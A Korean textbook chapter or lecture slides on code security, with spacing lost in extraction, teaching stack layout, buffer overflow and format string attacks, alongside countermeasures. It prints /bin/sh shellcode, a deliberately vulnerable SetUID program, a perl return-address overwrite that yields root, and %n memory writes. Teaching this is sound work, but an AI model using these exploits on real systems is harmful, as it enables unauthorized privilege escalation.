Chapter 05. 코드보안 : 코드속에뒷길을만드는기술
1. 시스템과프로그램에대한이해 2. 버퍼오버플로우공격 3. 포맷스트링공격
시스템메모리의구조 어떤프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성됨. 그메모리공간은다시목적에따라상위메모리와하위메모리로나눔. [ 그림 5-2] 메모리의기본구조 스택영역과힙영역 상위메모리 : 스택 (Stack) 이라는메모리공간이형성되고, 프로그램로직이동작하기위한인자 (Argument) 와프로세스상태를저장하는데사용됨. 하위메모리 : 힘 (Heap) 이생성되고, 프로그램이동작할때필요한데이터정보를임시로저장하는데사용됨.
시스템메모리의구조 [ 표 5-1] 80x86 CPU 의레지스터 범주 80386 레지스터 이름비트용도 범용레지스터 (General Register) EAX 누산기 (Accmulator) 32 주로산술연산에사용 ( 함수의결과값저장 ) EBX 베이스레지스터 (Base Register) 32 특정주소저장 ( 주소지정을확대하기위한인덱스로사용 ) ECX 카운트레지스터 (Count Register) 32 반복적으로실행되는특정명령에사용 ( 루프의반복횟수나좌우방향시프트비트수기억 ) EDX 데이터레지스터 (Data Register) 32 일반자료저장 ( 입출력동작에사용 ) CS 코드세그먼트레지스터 (Code Segment Register) 16 실행될기계명령어가저장된메모리주소지정 세그먼트레지스터 (Segment Register) DS SS 데이터세그먼트레지스터 (Data Segment Register) 스택세그먼트레지스터 (Stack Segment Register) 16 프로그램에서정의된데이터, 상수, 작업영역의메모리주소지정 16 프로그램이임시로저장할필요가있거나사용자의피호출서브루틴이사용할데이터와주소포함 ES, FS,GS 엑스트라세그먼트레지스터 (Extra Segment Register) 16 문자연산과추가메모리지정을위해사용되는여분의레지스터 포인터레지스터 (Pointer Register) 인덱스레지스터 EBP 베이스포인터 (Base Pointer) 32 SS 레지스터와함께사용되어스택내의변수값을읽는데사용 ESP 스택포인터 (Stack Pointer) 32 SS 레지스터와함께사용되며, 스택의가장끝주소를가리킴 EIP 명령포인터 (Instruction Pointer) 32 EDI 목적지인덱스 (Destination Index) 32 목적지주소에대한값저장 ESI 출발지인덱스 (Source Index) 32 출발지주소에대한값저장 다음명령어의오프셋 ( 상대위치주소 ) 를저장하며 CS 레지스터와합쳐져다음에수행될명령의주소형성 플래그레지스터 EFLAGS 플래그레지스터 (Flag Register) 32 연산결과및시스템상태와관련된여러가지플래그값저장
프로그램의실행구조 main 함수와덧셈을하는 function 이라는서브루틴이있는프로그램 sample.c void main() { int c; c=function(1, 2); } int function(int a, int b){ char buffer[10]; a=a+b; return a; } 어셈블리어로된코드를생성 gcc -S -o sample.a sample.c vi sample.a
프로그램의실행구조 sample.a.file "sample.c".version "01.01" gcc2_compiled.:.text.align 4.globl main.type main,@function main:.l1: pushl %ebp ---------------------------------- movl %esp,%ebp ---------------------------- subl $4,%esp --------------------------------- pushl $2 -------------------------------------- pushl $1 -------------------------------------- call function ---------------------------------- addl $8,%esp -------------------------------- movl %eax,%eax ----------------------------- movl %eax,-4(%ebp) ------------------------- leave ------------------------------------------ ret ---------------------------------------------
프로그램의실행구조 sample.a.lfe1:.size main,.lfe1-main.align 4.globl function.type function,@function function: pushl %ebp ----------------------------------- movl %esp,%ebp ----------------------------- subl $12,%esp -------------------------------- movl 12(%ebp),%eax ------------------------- addl %eax,8(%ebp) --------------------------- movl 8(%ebp),%edx ------------------------- - movl %edx,%eax ------------------------------ jmp.l2 ----------------------------------------.p2align 4,,7.L2: leave ------------------------------------------ ret ---------------------------------------------.Lfe2:.size function,.lfe2-function. ident "GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)
프로그램의실행구조 pushl %ebp 메인함수가종료될때프로세스가복귀할주소 (ret) 가스택에저장 ebp는함수시작전의기준점 스택에저장된 ebp를 SFP(Saved Frame Pointer) 라고부름. RET(Return Address) 에는함수종료시점프할주소값이저장됨. [ 그림 5-4] pushl %ebp 실행시스택의구조
프로그램의실행구조 movl %esp, %ebp esp 값을 ebp로이동 (move) 하는것으로, 현재의 esp 값을 ebp 레지스터에저장. esp는스택의항상가장하위메모리주소를가리키는주소값 [ 그림 5-5] movl %esp, %ebp 실행시스택의구조 Subl $4, %esp esp 에서 4 바이트를뺀다 (subtraction). 스택에 4 바이트 (int 형은 4 바이트 ) 의빈공간을할당
프로그램의실행구조 pushl $2 : 스택에정수 2를저장 pushl $1 : 스택에정수 1을저장 call function : function 함수를호출 ~ 세단계는 function(1,2) 에대한코드 [ 그림 5-6] pushl $2, pushl $1, call function 실행시스택의구조
프로그램의실행구조 pushl %ebp : 현재레지스터의 ebp 값을스택에저장 [ 그림 5-7] pushl %ebp 실행시스택의구조
프로그램의실행구조 movl %esp,%ebp function(1, 2) 의시작에서도프롤로그 (pushl %ebp 명령과 movl %esp,%ebp) 가실행 [ 그림 5-8] movl %esp,%ebp 실행시스택의구조
프로그램의실행구조 subl $12,%esp esp 값 (char buffer[10] 할당값 ) 에서 12바이트만큼을뺀다 ( 스택에 12바이트만큼의용량을할당한다.). char buffer는 10바이트만큼할당되도록했으나, 스택에서는 4바이트단위로할당되므로 12바이트가할당 [ 그림 5-9] subl $12,%esp 실행시스택의구조
프로그램의실행구조 movl 12(%ebp),%eax ebp 에 12 바이트를더한주소값의내용 ( 정수 2) 을 eax 값에복사 [ 그림 5-10] movl 12(%ebp),%eax 실행시스택의구조
프로그램의실행구조 addl %eax,8(%ebp) ebp에 8바이트를더한주소값의내용 ( 정수 1) 에 eax( 단계 10에서 2로저장됨 ) 값을더함. 8(%ebp) 값은 3이됨. [ 그림 5-11] addl %eax,8(%ebp) 실행시스택의구조
프로그램의실행구조 movl 8(%ebp),%edx ebp 에 8 바이트더한주소값의내용 ( 정수 3) 을 edx 에저장 [ 그림 5-12] movl 8(%ebp),%edx 실행시스택의구조
프로그램의실행구조 movl %edx,%eax : edx에저장된정수 3을 eax로복사 jmp.l1 : L1로점프 leave : 함수를끝냄. ret : function 함수를마치고 function 함수에저장된 ebp 값을제거 main 함수의원래 ebp 값으로 ebp 레지스터값을변경 addl $8,%esp : esp에 8바이트를더함. movl %eax,%eax : eax 값을 eax로복사 ( 사실상의미는없음 ) movl %eax,-4(%ebp) : ebp에서 4바이트를뺀주소값 (int c) 에 eax 값을복사 leave ret : 모든과정을마치고프로그램을종료
셸 운영체제를둘러싸고있으면서입력받는명령어를실행시키는명령어해석기 본셸, 콘셸, C 셸로나눌수있고, 본셸은유닉스시스템에서사용하는기본셸임. [ 그림 5-13] 유닉스계열의시스템에서셸의역할 셸의역할 자체의내장명령어제공 입력 / 출력 / 오류의리다이렉션 (Redirection) 기능제공 wildcard 기능제공 파이프라인기능제공 조건부 / 무조건부명령열 (Sequences) 작성기능제공 서브셸 (Subshell) 생성기능제공 후면처리 (Background Processing) 가능 셸스크립트 (Shell Script, 프로그램 ) 작성가능
셸 셸은 /bin/sh 명령으로실행 exit 명령을통해해당셸을빠져나올수있음. [ 그림 5-14] 레드햇 6.2 에서본셸의실행과취소 버퍼오버플로우나포맷스트링공격에서는 /bin/sh 를다음과같이기계어코드로바꾸어메모리에올림. "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00" "\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01" "\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff" "\x2f\x62\x69\x6e\x2f\x73\x68";
셸 기계어코드가실제로셸로실행되는지확인해보자. shell.c char shell[]= "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00" "\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01" "\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff" "\x2f\x62\x69\x6e\x2f\x73\x68"; void main(){ int *ret; ret =(int *)&ret+2; (*ret)=(int)shell; } gcc -o shell -g -ggdb shell.c./shell [ 그림 5-15] 기계어로바꾼 shell 을실행한결과
프로세스권한과 SetUID SetUID는유닉스시스템을해킹하는데매우중요한요소로, 유닉스파일에 rwsr-xr-x로권한설정이되어있음. 소유자권한에서 x가있을자리에 s가적혀있음. SetUID 파일은해당파일이실행될때누가실행하든지관계없이파일소유자의권한을갖는다는특징이있음. 해당파일의소유자가 root이면, 그파일은실행하는사람이누가되었든지파일이실행되는프로세스는실행시간동안파일소유자인 root 권한으로실행됨. 예 ) test라는파일이 root 소유이며 SetUID 비트가설정되어있으면 [ 그림 5-16] 과같이실행 SetUID 비트가설정되어있지않다면 [ 그림 4-17] 과같이실행 [ 그림 5-16] SetUID 설정시프로세스권한변경 [ 그림 5-17] SetUID 미설정시프로세스권한
프로세스권한과 SetUID SetUID 를이용한간단한해킹 SetUID 부여 [ 그림 5-18] shell 파일에 SetUID 권한부여 일반사용자권한에서 shell 파일을실행 [ 그림 5-19] shell 을일반사용자권한에서실행
02 버퍼오버플로우공격 버퍼오버플로우공격의개념 가장기본개념은 덮어쓰기 정상적인경우에는사용되지않아야주소공간, 즉원래는덮어쓸수없는부분에해커가임의의코드를덮어쓰는것 [ 그림 5-20] 버퍼오버플로우공격의개념 버퍼오버플로우는프로그래머가취약한특정함수를사용해야공격이가능
02 버퍼오버플로우공격 버퍼오버플로우공격의원리 bugfile.c int main(int argc, char *argv[]) { ------------ char buffer[10]; ------------------------------ strcpy(buffer, argv[1]); ----------------------- printf("%s\n", &buffer); --------------------- } int main(int argc, char *argv[ ]) argc는취약한코드인 bugfile.c가컴파일되어실행되는프로그램의인수개수 *argv[ ] 는포인터배열로서인자로입력되는값에대한번지수를차례대로저장 argv[0] : 실행파일의이름 argv[1] : 첫번째인자의내용 argv[2] : 두번째인자의내용 char buffer[10] : 10바이트크기의버퍼를할당 strcpy(buffer, argv[1]) : 버퍼에첫번째인자 (argv[1]) 를복사 (abcd 값을버퍼에저장 ) prinf( %s\n,&buffer) : 버퍼에저장된내용을출력 버퍼오버플로우공격은 strcpy(buffer, argv[1]) 에서일어남.
02 버퍼오버플로우공격 버퍼오버플로우공격의원리 GDB 를이용하여 main 함수를먼저살펴보고 strcpy 가호출되는과정을살펴보자. gcc -o bugfile bugfile.c gdb bugfile disass main 0x80483f8 <main> : push %ebp 0x80483f9 <main+1> : mov %esp,%ebp 스택에 ebp 값을밀어넣고, 현재의 esp 값을 ebp 레지스터에저장 0x80483fb <main+3> : sub $0xc,%esp main 함수의 char buffer[10]; 를실행 명령은 char로메모리에 10바이트를할당하였으나, 메모리에서는모두 4바이트단위로할당이되니실제로할당되는메모리는 12바이트가됨. [ 그림 5-22] main+3 까지실행시스택의구조
버퍼오버플로우공격 버퍼오버플로우공격의원리 0x80483fe <main+6> : mov 0xc(%ebp),%eax ebp에서상위 12바이트 (0xC) 의내용을 eax 레지스터에저장 eax 레지스터는 char *argv[] 를가리키고, eax에 argv[] 에대한포인터값이저장. 0x8048401 <main+9> : add $0x4,%eax eax의값을 4바이트만큼증가시킴. argv[ ] 에대한포인터이므로 argv[1] 을가리킴. 0x8048404 <main+12> : mov (%eax),%edx eax 레지스터가가리키는주소의값을 edx 레지스터에저장 프로그램을실행할때인수부분을가리킴. [ 그림 5-23] main+6 까지실행시스택의구조
버퍼오버플로우공격 버퍼오버플로우공격의원리 0x8048406 <main+14> : push %edx 프로그램을실행할때인수에대한포인터를스택에저장 인수를주지않고프로그램을실행시키면 0 0 값이스택에저장됨. [ 그림 5-24] main+14 까지실행시스택의구조 0x8048407 <main+15> : lea 0xfffffff4(%ebp),%eax eax 레지스터에 12(%ebp) 의주소값을저장
버퍼오버플로우공격 버퍼오버플로우공격의원리 0x804840a <main+18> : push %eax 스택에이를저장 [ 그림 5-25] main+18까지실행시스택의구조 0x804840b <main+19> : call 0x8048340 <strcpy> ~ 에서 strcpy(buffer, argv[1]); 를실행시키기위해 buffer, argv[1] 과관련된사항을스택에모두상주시킴. 마지막으로 strcpy 명령을호출
버퍼오버플로우공격 버퍼오버플로우공격의원리 0x8048340 <strcpy> : jmp *0x80494c0 버퍼오버플로우공격은여기에서일어남. strcpy 함수는입력된인수의경계를체크하지않음. 인수는 buffer[10] 으로 10바이트길이를넘지않아야하지만이보다큰인수를받아도스택에쓰게됨. 13개의A를인수로쓰게되면 A가쌓임. [ 그림 5-26] A 문자 13 개입력시저장된 ebp 값변조
02 버퍼오버플로우공격 버퍼오버플로우공격의원리 실제로컴파일하고실행하면서인수로 A 를충분히많이입력 bugfile 은관리자권한으로 SetUID 권한을부여 (chmod 4755 bugfile 명령실행 )./bugfile AAAAAAAAAAAAAAA./bugfile AAAAAAAAAAAAAAA [ 그림 5-27] 입력버퍼이상의문자열을입력할때발생하는세그먼테이션오류 bugfile.c의 char buffer[10] 이할당되는주소공간이 12바이트, ebp가저장되는공간이 4바이트 A가 16개, 즉 16바이트 ( 주소공간 12바이트, ebp 저장공간 4바이트 ) 가덮어씌워지고결과적으로스택의 ret 값을침범하게되어일종의오류가생김. 일반적으로공격에 egg shell 사용 (gcc o egg eggshell.c로컴파일 )./egg [ 그림 5-28] egg 셸의실행
02 버퍼오버플로우공격 버퍼오버플로우공격의원리 일반사용자권한으로돌아가서펄 (Perl) 을이용해 A 문자열과셸의메모리주소를 bugfile 에직접적으로실행 perl -e 'system "./bugfile", "AAAAAAAAAAAAAAAA\x58\xfb\xff\xbf"' id [ 그림 5-29] 스택버퍼오버플로우공격의수행
02 버퍼오버플로우공격 버퍼오버플로우공격의원리 공격이모두끝나면계정이 root 로바뀌어있음. [ 그림 5-30] ebp 값을지나 ret 값의변조
02 버퍼오버플로우공격 버퍼오버플로우공격에대한대응책 버퍼오버플로우에취약한함수를사용하지않는다. strcpy(char *dest, const char *src); strcat(char *dest, const char *src); getwd(char *buf); gets(char *s); fscanf(file *stream, const char *format,...); scanf(const char *format,...); realpath(char *path, char resolved_path[]); sprintf(char *str, const char *format); 최신의운영체제를사용한다. 운영체제는발전하면서 Non-Executable Stack, 스택가드 (Stack Guard), 스택쉴드 (Stack Shield) 와같이운영체제내에서해커의공격코드가실행되지않도록하는여러가지장치가있음.
03 포맷스트링공격 포맷스트링공격의개념 포맷스트링공격은데이터의형태와길이에대한불명확한정의로인한문제점중 데이터형태에대한불명확한정의 로인한것 formatstring.c #include <stdio.h> main(){ } char *buffer = "wishfree"; printf("%s\n", buffer); [ 표 5-2] 포맷스트링문자의종류 파라미터 특징 파라미터 특징 %d 정수형 10진수상수 (integer) %o 양의정수 (8 진수 ) %f 실수형상수 (float) %x 양의정수 (16 진수 ) %lf 실수형상수 (double) %s 문자열 %s 문자스트링 ((const)(unsigned) char *) %n * int ( 쓰인총바이트수 ) %u 양의정수 (10 진수 ) %hn %n의반인 2바이트단위
03 포맷스트링공격 포맷스트링공격의원리 포맷스트링의동작구조 formatstring.c의코드를간단히분석해보자. char *buffer = "wishfree" wishfree 라는문자열에대한주소값을포인터로지정 printf("%s\n", buffer) 포인터 (buffer) 가가르키는주소에서 %s( 문자스트링 ) 을읽어서출력 (printf) [ 그림 5-31] formatstring.c 컴파일및실행결과 [ 표 5-3] 포맷스트링 구분 스파이접선 formatstring.c 동작 접선자의본명 원빈 버퍼의주소에위치한실제데이터 접선자의암호명 홍길동 버퍼의주소, *buffer( 포인터 ) 신상착의 검은색티셔츠와푸른색반바지를입은동양인남자 포맷스트링, %s( 데이터가문자열임을표시함 ) 접선자접촉 wishfree 에게 당신이검은색티셔츠와푸른색반바지를입은동양인남자 의접선자가맞습니까? printf( %s\n, buffer) 접선자확인네, 제가접선자이며본명은 원빈 입니다 wishfree
03 포맷스트링공격 포맷스트링공격의원리 취약한포맷스트링 wrong.c #include <stdio.h> main(){ } char *buffer = "wishfree\n"; printf(buffer); wrong.c 는 formatstring.c 와동일한결과를출력 [ 그림 5-32] wrong.c 컴파일및실행
03 포맷스트링공격 포맷스트링공격의원리 포맷스트링문자를이용한메모리열람 wrong.c에서 char *buffer에문자열을입력할때 %x라는포맷스트링문자를추가 test1.c #include <stdio.h> main(){ } char *buffer = "wishfree\n%x\n"; printf(buffer); test1.c 를컴파일하면 wishfree 문자열이외에 8048440 이라는숫자가출력된것을확인할수있음. [ 그림 5-33] test1.c 컴파일및실행
03 포맷스트링공격 포맷스트링공격의원리 포맷스트링문자를이용한메모리변조 test2.c #include <stdio.h> main(){ long i=0x00000064, j=1; printf("i 의주소 : %x\n",&i); printf("i 의값 : %x\n",i); } printf("%64d%n\n", j, &i); printf(" 변경된 i 의값 : %x\n",i); printf("%64d%n\n", j, &i) 은 j 와 i 의주소값에 64 의 16 진수값을입력함. test2.c 를컴파일하여실행해보면 64 값이 16 진수인 0x40 로출력되는것을확인할수있음. gcc -o test2 test2.c./test2 [ 그림 5-34] test2 의실행결과
포맷스트링과버퍼오버플로우 포맷스트링공격 포맷스트링을이용하여, 버퍼오버플로우와같이메모리에셸을띄워놓고, ret 값을변조하여관리자권한획득. 결국포맷스트링과버퍼오버플로우는함수실행시 ret 값을변조 하는방법만다를뿐기본개념은같다고볼수있음.